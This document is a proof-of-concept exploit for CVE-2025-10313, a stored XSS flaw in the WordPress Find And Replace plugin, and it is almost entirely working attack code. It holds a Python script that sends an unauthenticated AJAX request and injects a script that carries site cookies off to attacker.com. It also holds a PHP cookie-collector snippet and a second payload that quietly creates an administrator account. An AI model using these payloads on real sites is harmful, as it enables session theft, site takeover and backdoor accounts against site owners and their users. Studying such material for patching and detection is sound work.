CVE-2025-10313 WordPress Find And Replace插件存储型XSS漏洞

# CVE-2025-10313 PoC - Find And Replace Content Plugin Stored XSS # Exploits missing capability check in far_admin_ajax_fun() function import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The AJAX endpoint used by WordPress for unauthenticated AJAX calls ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious JavaScript payload to be injected via stored XSS # This payload steals cookies and sends them to attacker's server xss_payload = "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>" # Craft the exploit request # The action parameter triggers the vulnerable far_admin_ajax_fun() function exploit_data = { "action": "far_admin_ajax_fun", "search_text": "existing_text_on_site", # Text to search for "replace_text": xss_payload, # Malicious replacement # Additional parameters may be required depending on plugin version } # Send the unauthenticated exploit request # Note: No authentication required (PR:N) and no user interaction needed (UI:N) response = requests.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Malicious script will execute when admin visits affected pages") else: print(f"[-] Request failed with status code: {response.status_code}") # Attacker's cookie collector (steal.php) # <?php # $cookie = $_GET['cookie']; # file_put_contents("stolen_cookies.txt", $cookie . "\n", FILE_APPEND); # ?> # Alternative: Privilege escalation payload # Using XSS to create a new admin account escalation_payload = """ <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "/wp-admin/user-new.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=createuser&_wpnonce_create-user=&user_login=hacker&[email protected]&pass1=Password123!&pass2=Password123!&role=administrator"); </script> """